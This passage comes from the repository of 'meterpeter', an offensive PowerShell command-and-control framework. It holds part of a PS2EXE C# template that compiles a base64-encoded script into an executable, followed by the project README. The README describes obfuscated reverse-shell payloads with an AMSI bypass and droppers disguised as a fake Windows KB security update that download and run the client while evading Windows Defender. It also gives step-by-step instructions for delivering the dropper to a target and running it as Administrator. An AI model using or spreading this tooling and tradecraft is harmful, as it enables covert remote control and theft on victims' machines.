UIntPtr hOutput = GetStdHandle(STDHandle.STD_OUTPUT_HANDLE);
FileType fileType = (FileType)GetFileType(hOutput);
if ((fileType == FileType.FILE_TYPE_CHAR) || (fileType == FileType.FILE_TYPE_UNKNOWN))
return false;
return true;
}
static public bool IsErrorRedirected()
{
UIntPtr hError = GetStdHandle(STDHandle.STD_ERROR_HANDLE);
FileType fileType = (FileType)GetFileType(hError);
if ((fileType == FileType.FILE_TYPE_CHAR) || (fileType == FileType.FILE_TYPE_UNKNOWN))
return false;
return true;
}
}
internal class PS2EXEHostUI : PSHostUserInterface
{
private PS2EXEHostRawUI rawUI = null;
public ConsoleColor ErrorForegroundColor = ConsoleColor.Red;
public ConsoleColor ErrorBackgroundColor = ConsoleColor.Black;
public ConsoleColor WarningForegroundColor = ConsoleColor.Yellow;
public ConsoleColor WarningBackgroundColor = ConsoleColor.Black;
public ConsoleColor DebugForegroundColor = ConsoleColor.Yellow;
public ConsoleColor DebugBackgroundColor = ConsoleColor.Black;
public ConsoleColor VerboseForegroundColor = ConsoleColor.Yellow;
public ConsoleColor VerboseBackgroundColor = ConsoleColor.Black;
$(if (!$noConsole) {@"
public ConsoleColor ProgressForegroundColor = ConsoleColor.Yellow;
"@ } else {@"
public ConsoleColor ProgressForegroundColor = ConsoleColor.DarkCyan;
"@ })
public ConsoleColor ProgressBackgroundColor = ConsoleColor.DarkCyan;
public PS2EXEHostUI() : base()
{
rawUI = new PS2EXEHostRawUI();
$(if (!$noConsole) {@"
rawUI.ForegroundColor = Console.ForegroundColor;
rawUI.BackgroundColor = Console.BackgroundColor;
"@ })
}
public override Dictionary Prompt(string caption, string message, System.Collections.ObjectModel.Collection descriptions)
{
$(if (!$noConsole) {@"
if (!string.IsNullOrEmpty(caption)) WriteLine(caption);
if (!string.IsNullOrEmpty(message)) WriteLine(message);
"@ } else {@"
if ((!string.IsNullOrEmpty(caption)) || (!string.IsNullOrEmpty(message)))
{ string sTitel = System.AppDomain.CurrentDomain.FriendlyName, sMeldung = "";
if (!string.IsNullOrEmpty(caption)) sTitel = caption;
if (!string.IsNullOrEmpty(message)) sMeldung = message;
MessageBox.Show(sMeldung, sTitel);
}
// Titel und Labeltext für Inputbox zurücksetzen
ibcaption = "";
ibmessage = "";
"@ })
Dictionary ret = new Dictionary();
foreach (FieldDescription cd in descriptions)
{
Type t = null;
if (string.IsNullOrEmpty(cd.ParameterAssemblyFullName))
t = typeof(string);
else
t = Type.GetType(cd.ParameterAssemblyFullName);
if (t.IsArray)
{
Type elementType = t.GetElementType();
Type genericListType = Type.GetType("System.Collections.Generic.List"+((char)0x60).ToString()+"1");
genericListType = genericListType.MakeGenericType(new Type[] { elementType });
ConstructorInfo constructor = genericListType.GetConstructor(BindingFlags.CreateInstance | BindingFlags.Instance | BindingFlags.Public, null, Type.EmptyTypes, null);
object resultList = constructor.Invoke(null);
int index = 0;
string data = "";
do
{
try
{
$(if (!$noConsole) {@"
if (!string.IsNullOrEmpty(cd.Name)) Write(string.Format("{0}[{1}]: ", cd.Name, index));
"@ } else {@"
if (!string.IsNullOrEmpty(cd.Name)) ibmessage = string.Format("{0}[{1}]: ", cd.Name, index);
"@ })
data = ReadLine();
if (string.IsNullOrEmpty(data))
break;
object o = System.Convert.ChangeType(data, elementType);
genericListType.InvokeMember("Add", BindingFlags.InvokeMethod | BindingFlags.Public | BindingFlags.Instance, null, resultList, new object[] { o });
}
catch (Exception e)
{
throw e;
}
index++;
} while (true);
System.Array retArray = (System.Array )genericListType.InvokeMember("ToArray", BindingFlags.InvokeMethod | BindingFlags.Public | BindingFlags.Instance, null, resultList, null);
ret.Add(cd.Name, new PSObject(retArray));
}
else
{
object o = null;
string l = null;
try
{
if (t != typeof(System.Security.SecureString))
{
if (t != typeof(System.Management.Automation.PSCredential))
{
$(if (!$noConsole) {@"
if (!string.IsNullOrEmpty(cd.Name)) Write(cd.Name);
if (!string.IsNullOrEmpty(cd.HelpMessage)) Write(" (Type !? for help.)");
if ((!string.IsNullOrEmpty(cd.Name)) || (!string.IsNullOrEmpty(cd.HelpMessage))) Write(": ");
"@ } else {@"
if (!string.IsNullOrEmpty(cd.Name)) ibmessage = string.Format("{0}: ", cd.Name);
if (!string.IsNullOrEmpty(cd.HelpMessage)) ibmessage += "\n(Type !? for help.)";
"@ })
do {
l = ReadLine();
if (l == "!?")
WriteLine(cd.HelpMessage);
else
{
if (string.IsNullOrEmpty(l)) o = cd.DefaultValue;
if (o == null)
{
try {
o = System.Convert.ChangeType(l, t);
}
catch {
Write("Wrong format, please repeat input: ");
l = "!?";
}
}
}
} while (l == "!?");
}
else
{
PSCredential pscred = PromptForCredential("", "", "", "");
o = pscred;
}
}
else
{
$(if (!$noConsole) {@"
if (!string.IsNullOrEmpty(cd.Name)) Write(string.Format("{0}: ", cd.Name));
"@ } else {@"
if (!string.IsNullOrEmpty(cd.Name)) ibmessage = string.Format("{0}: ", cd.Name);
"@ })
SecureString pwd = null;
pwd = ReadLineAsSecureString();
o = pwd;
}
ret.Add(cd.Name, new PSObject(o));
}
catch (Exception e)
{
throw e;
}
}
}
$(if ($noConsole) {@"
// Titel und Labeltext für Inputbox zurücksetzen
ibcaption = "";
ibmessage = "";
"@ })
return ret;
}
public override int PromptForChoice(string caption, string message, System.Collections.ObjectModel.Collection choices, int defaultChoice)
{
$(if ($noConsole) {@"
int iReturn = ChoiceBox.Show(choices, defaultChoice, caption, message);
if (iReturn == -1) { iReturn = defaultChoice; }
return iReturn;
"@ } else {@"
if (!string.IsNullOrEmpty(caption))
WriteLine(caption);
WriteLine(message);
int idx = 0;
SortedList res = new SortedList();
foreach (ChoiceDescription cd in choices)
{
string lkey = cd.Label.Substring(0, 1), ltext = cd.Label;
int pos = cd.Label.IndexOf('&');
if (pos > -1)
{
lkey = cd.Label.Substring(pos + 1, 1).ToUpper();
if (pos > 0)
ltext = cd.Label.Substring(0, pos) + cd.Label.Substring(pos + 1);
else
ltext = cd.Label.Substring(1);
}
res.Add(lkey.ToLower(), idx);
if (idx > 0) Write(" ");
if (idx == defaultChoice)
{
Write(ConsoleColor.Yellow, Console.BackgroundColor, string.Format("[{0}] {1}", lkey, ltext));
if (!string.IsNullOrEmpty(cd.HelpMessage))
Write(ConsoleColor.Gray, Console.BackgroundColor, string.Format(" ({0})", cd.HelpMessage));
}
else
{
Write(ConsoleColor.Gray, Console.BackgroundColor, string.Format("[{0}] {1}", lkey, ltext));
if (!string.IsNullOrEmpty(cd.HelpMessage))
Write(ConsoleColor.Gray, Console.BackgroundColor, string.Format(" ({0})", cd.HelpMessage));
}
idx++;
}
Write(": ");
try
{
while (true)
{ string s = Console.ReadLine().ToLower();
if (res.ContainsKey(s))
return res[s];
if (string.IsNullOrEmpty(s))
return defaultChoice;
}
}
catch { }
return defaultChoice;
"@ })
}
public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName, PSCredentialTypes allowedCredentialTypes, PSCredentialUIOptions options)
{
$(if (!$noConsole -and !$credentialGUI) {@"
if (!string.IsNullOrEmpty(caption)) WriteLine(caption);
WriteLine(message);
string un;
if ((string.IsNullOrEmpty(userName)) || ((options & PSCredentialUIOptions.ReadOnlyUserName) == 0))
{
Write("User name: ");
un = ReadLine();
}
else
{
Write("User name: ");
if (!string.IsNullOrEmpty(targetName)) Write(targetName + "\\");
WriteLine(userName);
un = userName;
}
SecureString pwd = null;
Write("Password: ");
pwd = ReadLineAsSecureString();
if (string.IsNullOrEmpty(un)) un = "";
if (!string.IsNullOrEmpty(targetName))
{
if (un.IndexOf('\\') < 0)
un = targetName + "\\" + un;
}
PSCredential c2 = new PSCredential(un, pwd);
return c2;
"@ } else {@"
ik.PowerShell.CredentialForm.UserPwd cred = CredentialForm.PromptForPassword(caption, message, targetName, userName, allowedCredentialTypes, options);
if (cred != null)
{
System.Security.SecureString x = new System.Security.SecureString();
foreach (char c in cred.Password.ToCharArray())
x.AppendChar(c);
return new PSCredential(cred.User, x);
}
return null;
"@ })
}
public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName)
{
$(if (!$noConsole -and !$credentialGUI) {@"
if (!string.IsNullOrEmpty(caption)) WriteLine(caption);
WriteLine(message);
string un;
if (string.IsNullOrEmpty(userName))
{
Write("User name: ");
un = ReadLine();
}
else
{
Write("User name: ");
if (!string.IsNullOrEmpty(targetName)) Write(targetName + "\\");
WriteLine(userName);
un = userName;
}
SecureString pwd = null;
Write("Password: ");
pwd = ReadLineAsSecureString();
if (string.IsNullOrEmpty(un)) un = "";
if (!string.IsNullOrEmpty(targetName))
{
if (un.IndexOf('\\') < 0)
un = targetName + "\\" + un;
}
PSCredential c2 = new PSCredential(un, pwd);
return c2;
"@ } else {@"
ik.PowerShell.CredentialForm.UserPwd cred = CredentialForm.PromptForPassword(caption, message, targetName, userName, PSCredentialTypes.Default, PSCredentialUIOptions.Default);
if (cred != null)
{
System.Security.SecureString x = new System.Security.SecureString();
foreach (char c in cred.Password.ToCharArray())
x.AppendChar(c);
return new PSCredential(cred.User, x);
}
return null;
"@ })
}
public override PSHostRawUserInterface RawUI
{
get
{
return rawUI;
}
}
$(if ($noConsole) {@"
private string ibcaption;
private string ibmessage;
"@ })
public override string ReadLine()
{
$(if (!$noConsole) {@"
return Console.ReadLine();
"@ } else {@"
string sWert = "";
if (InputBox.Show(ibcaption, ibmessage, ref sWert) == DialogResult.OK)
return sWert;
else
return "";
"@ })
}
private System.Security.SecureString getPassword()
{
System.Security.SecureString pwd = new System.Security.SecureString();
while (true)
{
ConsoleKeyInfo i = Console.ReadKey(true);
if (i.Key == ConsoleKey.Enter)
{
Console.WriteLine();
break;
}
else if (i.Key == ConsoleKey.Backspace)
{
if (pwd.Length > 0)
{
pwd.RemoveAt(pwd.Length - 1);
Console.Write("\b \b");
}
}
else if (i.KeyChar != '\u0000')
{
pwd.AppendChar(i.KeyChar);
Console.Write("*");
}
}
return pwd;
}
public override System.Security.SecureString ReadLineAsSecureString()
{
System.Security.SecureString secstr = new System.Security.SecureString();
$(if (!$noConsole) {@"
secstr = getPassword();
"@ } else {@"
string sWert = "";
if (InputBox.Show(ibcaption, ibmessage, ref sWert, true) == DialogResult.OK)
{
foreach (char ch in sWert)
secstr.AppendChar(ch);
}
"@ })
return secstr;
}
// called by Write-Host
public override void Write(ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value)
{
$(if (!$noOutput) { if (!$noConsole) {@"
ConsoleColor fgc = Console.ForegroundColor, bgc = Console.BackgroundColor;
Console.ForegroundColor = foregroundColor;
Console.BackgroundColor = backgroundColor;
Console.Write(value);
Console.ForegroundColor = fgc;
Console.BackgroundColor = bgc;
"@ } else {@"
if ((!string.IsNullOrEmpty(value)) && (value != "\n"))
MessageBox.Show(value, System.AppDomain.CurrentDomain.FriendlyName);
"@ } })
}
public override void Write(string value)
{
$(if (!$noOutput) { if (!$noConsole) {@"
Console.Write(value);
"@ } else {@"
if ((!string.IsNullOrEmpty(value)) && (value != "\n"))
MessageBox.Show(value, System.AppDomain.CurrentDomain.FriendlyName);
"@ } })
}
// called by Write-Debug
public override void WriteDebugLine(string message)
{
$(if (!$noError) { if (!$noConsole) {@"
WriteLineInternal(DebugForegroundColor, DebugBackgroundColor, string.Format("DEBUG: {0}", message));
"@ } else {@"
MessageBox.Show(message, System.AppDomain.CurrentDomain.FriendlyName, MessageBoxButtons.OK, MessageBoxIcon.Information);
"@ } })
}
// called by Write-Error
public override void WriteErrorLine(string value)
{
$(if (!$noError) { if (!$noConsole) {@"
if (ConsoleInfo.IsErrorRedirected())
Console.Error.WriteLine(string.Format("ERROR: {0}", value));
else
WriteLineInternal(ErrorForegroundColor, ErrorBackgroundColor, string.Format("ERROR: {0}", value));
"@ } else {@"
MessageBox.Show(value, System.AppDomain.CurrentDomain.FriendlyName, MessageBoxButtons.OK, MessageBoxIcon.Error);
"@ } })
}
public override void WriteLine()
{
$(if (!$noOutput) { if (!$noConsole) {@"
Console.WriteLine();
"@ } else {@"
MessageBox.Show("", System.AppDomain.CurrentDomain.FriendlyName);
"@ } })
}
public override void WriteLine(ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value)
{
$(if (!$noOutput) { if (!$noConsole) {@"
ConsoleColor fgc = Console.ForegroundColor, bgc = Console.BackgroundColor;
Console.ForegroundColor = foregroundColor;
Console.BackgroundColor = backgroundColor;
Console.WriteLine(value);
Console.ForegroundColor = fgc;
Console.BackgroundColor = bgc;
"@ } else {@"
if ((!string.IsNullOrEmpty(value)) && (value != "\n"))
MessageBox.Show(value, System.AppDomain.CurrentDomain.FriendlyName);
"@ } })
}
$(if (!$noError -And !$noConsole) {@"
private void WriteLineInternal(ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value)
{
ConsoleColor fgc = Console.ForegroundColor, bgc = Console.BackgroundColor;
Console.ForegroundColor = foregroundColor;
Console.BackgroundColor = backgroundColor;
Console.WriteLine(value);
Console.ForegroundColor = fgc;
Console.BackgroundColor = bgc;
}
"@ })
// called by Write-Output
public override void WriteLine(string value)
{
$(if (!$noOutput) { if (!$noConsole) {@"
Console.WriteLine(value);
"@ } else {@"
if ((!string.IsNullOrEmpty(value)) && (value != "\n"))
MessageBox.Show(value, System.AppDomain.CurrentDomain.FriendlyName);
"@ } })
}
$(if ($noConsole) {@"
public ProgressForm pf = null;
"@ })
public override void WriteProgress(long sourceId, ProgressRecord record)
{
$(if ($noConsole) {@"
if (pf == null)
{
pf = new ProgressForm(ProgressForegroundColor);
pf.Show();
}
pf.Update(record);
if (record.RecordType == ProgressRecordType.Completed)
{
if (pf.GetCount() == 0) pf = null;
}
"@ })
}
// called by Write-Verbose
public override void WriteVerboseLine(string message)
{
$(if (!$noOutput) { if (!$noConsole) {@"
WriteLine(VerboseForegroundColor, VerboseBackgroundColor, string.Format("VERBOSE: {0}", message));
"@ } else {@"
MessageBox.Show(message, System.AppDomain.CurrentDomain.FriendlyName, MessageBoxButtons.OK, MessageBoxIcon.Information);
"@ } })
}
// called by Write-Warning
public override void WriteWarningLine(string message)
{
$(if (!$noError) { if (!$noConsole) {@"
WriteLineInternal(WarningForegroundColor, WarningBackgroundColor, string.Format("WARNING: {0}", message));
"@ } else {@"
MessageBox.Show(message, System.AppDomain.CurrentDomain.FriendlyName, MessageBoxButtons.OK, MessageBoxIcon.Warning);
"@ } })
}
}
internal class PS2EXEHost : PSHost
{
private PS2EXEApp parent;
private PS2EXEHostUI ui = null;
private CultureInfo originalCultureInfo = System.Threading.Thread.CurrentThread.CurrentCulture;
private CultureInfo originalUICultureInfo = System.Threading.Thread.CurrentThread.CurrentUICulture;
private Guid myId = Guid.NewGuid();
public PS2EXEHost(PS2EXEApp app, PS2EXEHostUI ui)
{
this.parent = app;
this.ui = ui;
}
public class ConsoleColorProxy
{
private PS2EXEHostUI _ui;
public ConsoleColorProxy(PS2EXEHostUI ui)
{
if (ui == null) throw new ArgumentNullException("ui");
_ui = ui;
}
public ConsoleColor ErrorForegroundColor
{
get
{ return _ui.ErrorForegroundColor; }
set
{ _ui.ErrorForegroundColor = value; }
}
public ConsoleColor ErrorBackgroundColor
{
get
{ return _ui.ErrorBackgroundColor; }
set
{ _ui.ErrorBackgroundColor = value; }
}
public ConsoleColor WarningForegroundColor
{
get
{ return _ui.WarningForegroundColor; }
set
{ _ui.WarningForegroundColor = value; }
}
public ConsoleColor WarningBackgroundColor
{
get
{ return _ui.WarningBackgroundColor; }
set
{ _ui.WarningBackgroundColor = value; }
}
public ConsoleColor DebugForegroundColor
{
get
{ return _ui.DebugForegroundColor; }
set
{ _ui.DebugForegroundColor = value; }
}
public ConsoleColor DebugBackgroundColor
{
get
{ return _ui.DebugBackgroundColor; }
set
{ _ui.DebugBackgroundColor = value; }
}
public ConsoleColor VerboseForegroundColor
{
get
{ return _ui.VerboseForegroundColor; }
set
{ _ui.VerboseForegroundColor = value; }
}
public ConsoleColor VerboseBackgroundColor
{
get
{ return _ui.VerboseBackgroundColor; }
set
{ _ui.VerboseBackgroundColor = value; }
}
public ConsoleColor ProgressForegroundColor
{
get
{ return _ui.ProgressForegroundColor; }
set
{ _ui.ProgressForegroundColor = value; }
}
public ConsoleColor ProgressBackgroundColor
{
get
{ return _ui.ProgressBackgroundColor; }
set
{ _ui.ProgressBackgroundColor = value; }
}
}
public override PSObject PrivateData
{
get
{
if (ui == null) return null;
return _consoleColorProxy ?? (_consoleColorProxy = PSObject.AsPSObject(new ConsoleColorProxy(ui)));
}
}
private PSObject _consoleColorProxy;
public override System.Globalization.CultureInfo CurrentCulture
{
get
{
return this.originalCultureInfo;
}
}
public override System.Globalization.CultureInfo CurrentUICulture
{
get
{
return this.originalUICultureInfo;
}
}
public override Guid InstanceId
{
get
{
return this.myId;
}
}
public override string Name
{
get
{
return "PS2EXE_Host";
}
}
public override PSHostUserInterface UI
{
get
{
return ui;
}
}
public override Version Version
{
get
{
return new Version(0, 5, 0, 21);
}
}
public override void EnterNestedPrompt()
{
}
public override void ExitNestedPrompt()
{
}
public override void NotifyBeginApplication()
{
return;
}
public override void NotifyEndApplication()
{
return;
}
public override void SetShouldExit(int exitCode)
{
this.parent.ShouldExit = true;
this.parent.ExitCode = exitCode;
}
}
internal interface PS2EXEApp
{
bool ShouldExit { get; set; }
int ExitCode { get; set; }
}
internal class PS2EXE : PS2EXEApp
{
private bool shouldExit;
private int exitCode;
public bool ShouldExit
{
get { return this.shouldExit; }
set { this.shouldExit = value; }
}
public int ExitCode
{
get { return this.exitCode; }
set { this.exitCode = value; }
}
$(if ($STA){"[STAThread]"})$(if ($MTA){"[MTAThread]"})
private static int Main(string[] args)
{
$culture
$(if (!$noVisualStyles -and $noConsole) { "Application.EnableVisualStyles();" })
PS2EXE me = new PS2EXE();
bool paramWait = false;
string extractFN = string.Empty;
PS2EXEHostUI ui = new PS2EXEHostUI();
PS2EXEHost host = new PS2EXEHost(me, ui);
System.Threading.ManualResetEvent mre = new System.Threading.ManualResetEvent(false);
AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(CurrentDomain_UnhandledException);
try
{
using (Runspace myRunSpace = RunspaceFactory.CreateRunspace(host))
{
$(if ($STA -or $MTA) {"myRunSpace.ApartmentState = System.Threading.ApartmentState."})$(if ($STA){"STA"})$(if ($MTA){"MTA"});
myRunSpace.Open();
using (System.Management.Automation.PowerShell powershell = System.Management.Automation.PowerShell.Create())
{
$(if (!$noConsole) {@"
Console.CancelKeyPress += new ConsoleCancelEventHandler(delegate(object sender, ConsoleCancelEventArgs e)
{
try
{
powershell.BeginStop(new AsyncCallback(delegate(IAsyncResult r)
{
mre.Set();
e.Cancel = true;
}), null);
}
catch
{
};
});
"@ })
powershell.Runspace = myRunSpace;
powershell.Streams.Error.DataAdded += new EventHandler(delegate(object sender, DataAddedEventArgs e)
{
ui.WriteErrorLine(((PSDataCollection)sender)[e.Index].ToString());
});
PSDataCollection colInput = new PSDataCollection();
$(if (!$runtime20) {@"
if (ConsoleInfo.IsInputRedirected())
{ // read standard input
string sItem = "";
while ((sItem = Console.ReadLine()) != null)
{ // add to powershell pipeline
colInput.Add(sItem);
}
}
"@ })
colInput.Complete();
PSDataCollection colOutput = new PSDataCollection();
colOutput.DataAdded += new EventHandler(delegate(object sender, DataAddedEventArgs e)
{
ui.WriteLine(colOutput[e.Index].ToString());
});
int separator = 0;
int idx = 0;
foreach (string s in args)
{
if (string.Compare(s, "-wait", true) == 0)
paramWait = true;
else if (s.StartsWith("-extract", StringComparison.InvariantCultureIgnoreCase))
{
string[] s1 = s.Split(new string[] { ":" }, 2, StringSplitOptions.RemoveEmptyEntries);
if (s1.Length != 2)
{
$(if (!$noConsole) {@"
Console.WriteLine("If you specify the -extract option you need to add a file for extraction in this way\r\n -extract:\"\"");
"@ } else {@"
MessageBox.Show("If you specify the -extract option you need to add a file for extraction in this way\r\n -extract:\"\"", System.AppDomain.CurrentDomain.FriendlyName, MessageBoxButtons.OK, MessageBoxIcon.Error);
"@ })
return 1;
}
extractFN = s1[1].Trim(new char[] { '\"' });
}
else if (string.Compare(s, "-end", true) == 0)
{
separator = idx + 1;
break;
}
else if (string.Compare(s, "-debug", true) == 0)
{
System.Diagnostics.Debugger.Launch();
break;
}
idx++;
}
string script = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(@"$($script)"));
if (!string.IsNullOrEmpty(extractFN))
{
System.IO.File.WriteAllText(extractFN, script);
return 0;
}
powershell.AddScript(script);
// parse parameters
string argbuffer = null;
// regex for named parameters
System.Text.RegularExpressions.Regex regex = new System.Text.RegularExpressions.Regex(@"^-([^: ]+)[ :]?([^:]*)$");
for (int i = separator; i < args.Length; i++)
{
System.Text.RegularExpressions.Match match = regex.Match(args[i]);
if (match.Success && match.Groups.Count == 3)
{ // parameter in powershell style, means named parameter found
if (argbuffer != null) // already a named parameter in buffer, then flush it
powershell.AddParameter(argbuffer);
if (match.Groups[2].Value.Trim() == "")
{ // store named parameter in buffer
argbuffer = match.Groups[1].Value;
}
else
// caution: when called in powershell $TRUE gets converted, when called in cmd.exe not
if ((match.Groups[2].Value == "$TRUE") || (match.Groups[2].Value.ToUpper() == "\x24TRUE"))
{ // switch found
powershell.AddParameter(match.Groups[1].Value, true);
argbuffer = null;
}
else
// caution: when called in powershell $FALSE gets converted, when called in cmd.exe not
if ((match.Groups[2].Value == "$FALSE") || (match.Groups[2].Value.ToUpper() == "\x24"+"FALSE"))
{ // switch found
powershell.AddParameter(match.Groups[1].Value, false);
argbuffer = null;
}
else
{ // named parameter with value found
powershell.AddParameter(match.Groups[1].Value, match.Groups[2].Value);
argbuffer = null;
}
}
else
{ // unnamed parameter found
if (argbuffer != null)
{ // already a named parameter in buffer, so this is the value
powershell.AddParameter(argbuffer, args[i]);
argbuffer = null;
}
else
{ // position parameter found
powershell.AddArgument(args[i]);
}
}
}
if (argbuffer != null) powershell.AddParameter(argbuffer); // flush parameter buffer...
// convert output to strings
powershell.AddCommand("out-string");
// with a single string per line
powershell.AddParameter("stream");
powershell.BeginInvoke(colInput, colOutput, null, new AsyncCallback(delegate(IAsyncResult ar)
{
if (ar.IsCompleted)
mre.Set();
}), null);
while (!me.ShouldExit && !mre.WaitOne(100))
{ };
powershell.Stop();
if (powershell.InvocationStateInfo.State == PSInvocationState.Failed)
ui.WriteErrorLine(powershell.InvocationStateInfo.Reason.Message);
}
myRunSpace.Close();
}
}
catch (Exception ex)
{
$(if (!$noError) { if (!$noConsole) {@"
Console.Write("An exception occured: ");
Console.WriteLine(ex.Message);
"@ } else {@"
MessageBox.Show("An exception occured: " + ex.Message, System.AppDomain.CurrentDomain.FriendlyName, MessageBoxButtons.OK, MessageBoxIcon.Error);
"@ } })
}
if (paramWait)
{
$(if (!$noConsole) {@"
Console.WriteLine("Hit any key to exit...");
Console.ReadKey();
"@ } else {@"
MessageBox.Show("Click OK to exit...", System.AppDomain.CurrentDomain.FriendlyName);
"@ })
}
return me.ExitCode;
}
static void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e)
{
throw new Exception("Unhandled exception in PS2EXE");
}
}
}
"@
$configFileForEXE2 = "`r`n "
$configFileForEXE3 = "`r`n "
if ($longPaths)
{
$configFileForEXE3 = "`r`n "
}
#Write-Output "Compiling file..."
$cr = $cop.CompileAssemblyFromSource($cp, $programFrame)
if ($cr.Errors.Count -gt 0)
{
if (Test-Path $outputFile)
{
Remove-Item $outputFile -Verbose:$FALSE
}
Write-Error -ErrorAction Continue "Could not create the PowerShell .exe file because of compilation errors. Use -verbose parameter to see details."
$cr.Errors | ForEach-Object { Write-Verbose $_ -Verbose:$verbose}
}
else
{
if (Test-Path $outputFile)
{
If($outputFile -match 'meterpeter'){$parsingPath = $outputFile -replace '\\PS2EXE',''}else{$parsingPath = $outputFile}
Write-Output " Output file => $parsingPath `n`n"
if ($debug)
{
$cr.TempFiles | Where-Object { $_ -ilike "*.cs" } | Select-Object -First 1 | ForEach-Object {
$dstSrc = ([System.IO.Path]::Combine([System.IO.Path]::GetDirectoryName($outputFile), [System.IO.Path]::GetFileNameWithoutExtension($outputFile)+".cs"))
Write-Output "Source file name for debug copied: $($dstSrc)"
Copy-Item -Path $_ -Destination $dstSrc -Force
}
$cr.TempFiles | Remove-Item -Verbose:$FALSE -Force -ErrorAction SilentlyContinue
}
if ($CFGFILE)
{
if ($runtime20)
{
$configFileForEXE2 | Set-Content ($outputFile+".config") -Encoding UTF8
}
if ($runtime40)
{
$configFileForEXE3 | Set-Content ($outputFile+".config") -Encoding UTF8
}
Write-Output "Config file for EXE created"
}
}
else
{
Write-Error -ErrorAction "Continue" " Output file => $outputFile not written`n`n"
}
}
if ($requireAdmin -or $supportOS -or $longPaths)
{ if (Test-Path $($outputFile+".win32manifest"))
{
Remove-Item $($outputFile+".win32manifest") -Verbose:$FALSE
}
}
If(Test-Path "Update-KB4524147.ps1"){Remove-Item -Path "Update-KB4524147.ps1" -Force}
================================================
FILE: README.md
================================================
Author: @r00t-3xp10it
Version release: v2.10.14
Distros Supported: Windows (x86|x64), Linux
Inspired in the work of: ['@ZHacker13 - ReverseTCPShell'](https://github.com/ZHacker13/ReverseTCPShell)

[]()
[]()
[]()




## :octocat: Quick Jump List
- **[Project Description](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#octocat-project-description)**
- **[List Of Available Modules](https://gist.github.com/r00t-3xp10it/4b066797ddc99a3fc41195ddfaf4af9b?permalink_comment_id=4133582#gistcomment-4133582)**
- **[Meterpeter C2 Latest Release](https://github.com/r00t-3xp10it/meterpeter/releases/tag/v2.10.14)**
- **[How To - Under Linux Distributions](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#attacker-machine-linux-kali)**
- **[How To - Under Windows Distributions](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#attacker-machiner-windows-pc)**
- **[Special Thanks|Contributions|Videos](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#video-tutorials)**
- **[Please Read my 'WIKI' page for detailed information about each Module](https://github.com/r00t-3xp10it/meterpeter/wiki)**
## :octocat: Project Description
This PS1 starts a listener Server on a Windows|Linux attacker machine and generates oneliner PS reverse shell payloads obfuscated in BXOR with a random secret key and another layer of Characters/Variables Obfuscation to be executed on the victim machine (The payload will also execute AMSI reflection bypass in current session to evade AMSI detection while working). You can also recive the generated oneliner reverse shell connection via netcat. (in this case you will lose the C2 functionalities like screenshot, upload, download files, Keylogger, AdvInfo, PostExploit, etc) meterpeter payloads/droppers can be executed using User or Administrator Privileges depending of the cenario (executing the Client as Administrator will unlock ALL Server Modules, amsi bypasses, etc.). Droppers mimic a fake KB Security Update while in background download\exec Client in '$Env:TMP ' trusted location, with the intent of evading Windows Defender Exploit Guard. meterpeter payloads|droppers are FUD (please dont test samples on VirusTotal).
Under Linux users required to install **powershell** and **apache2** webserver, Under Windows its optional the install of **python3** http.server to deliver payloads under LAN networks. If this requirements are **NOT** met, then the Client ( Update-KB4524147.ps1 ) will be written in meterpeter working directory for manual deliver.

**[Quick Jump List](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#octocat-quick-jump-list)**
---
### ATTACKER MACHINE: [Linux Kali]
Warning: powershell under linux distributions its only available for x64 bits archs ..

#### Install Powershell (Linux x64 bits)
```
apt-get update && apt-get install -y powershell
```
#### Install Apache2
```
apt-get install Apache2
```
#### Start Apache2 WebServer
```
service apache2 start
```
#### Start C2 Server (Local)
```
cd meterpeter
pwsh -File meterpeter.ps1
```
#### Deliver Dropper/Payload To Target Machine (apache2)
```
USE THE 'Attack Vector URL' TO DELIVER 'Update-KB4524147.zip' (dropper) TO TARGET ..
UNZIP (IN DESKTOP) AND EXECUTE 'Update-KB4524147.bat' (Run As Administrator)..
```
#### Remark:
IF dropper.bat its executed: Then the Client will use $env:tmp has its working directory ('recomended')..
IF Attacker decided to manualy execute Client: Then Client remote location (pwd) will be used has working dir .
**[Quick Jump List](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#octocat-quick-jump-list)**
---
### ATTACKER MACHINER: [Windows PC]

#### Install Python3 (optional)
Install Python3 (http.Server) to deliver payloads under LAN networks ..
```
https://www.python.org/downloads/release/python-381/
```
Check if python **http.server** its installed
```
$Local_Host = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
python -m http.server 8080 --bind $Local_Host
CTRL+C # Exit webserver console
```
#### Start C2 Server (Local)
```
cd meterpeter
powershell Set-ExecutionPolicy Unrestricted -Scope CurrentUser
powershell -File meterpeter.ps1
```
**Remark**
- meterpeter.ps1 delivers Dropper/Payload using python3 http.server. IF attacker has python3 installed.
**'If NOT then the payload (Client) its written in Server Local [Working Directory](https://github.com/r00t-3xp10it/meterpeter/wiki/How-To-Display%7CChange-'Client'-Working-Directory) to be Manualy Deliver'** ..
- Remmnenber to close the http.server terminal after the target have recived the two files (Dropper & Client)
**'And we have recived the connection in our meterpeter Server { to prevent Server|Client connection errors }'**
#### Deliver Dropper/Payload To Target Machine (manual OR python3)
```
DELIVER 'Update-KB4524147' (.ps1=manual) OR (.zip=automated|silentExec) TO TARGET ..
```
#### Remark:
IF dropper.bat its executed: Then the Client will use $env:tmp has its working directory ('recomended')..
IF Attacker decided to manualy execute Client: Then Client remote location (pwd) will be used has working dir .
**[Quick Jump List](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#octocat-quick-jump-list)**
---
### Video Tutorials:
meterpeter Under Windows Distros: https://www.youtube.com/watch?v=d2npuCXsMvE
meterpeter Under Linux Distros: https://www.youtube.com/watch?v=CmMbWmN246E
### Special Thanks:
**@ZHacker13** (Original Rev Shell) | **@tedburke** (CommandCam.exe binary)
**@codings9** (debugging modules) | @ShantyDamayanti (debugging Modules)
**@AHLASaad** (debugging Modules) | **@gtworek** (EnableAllParentPrivileges)
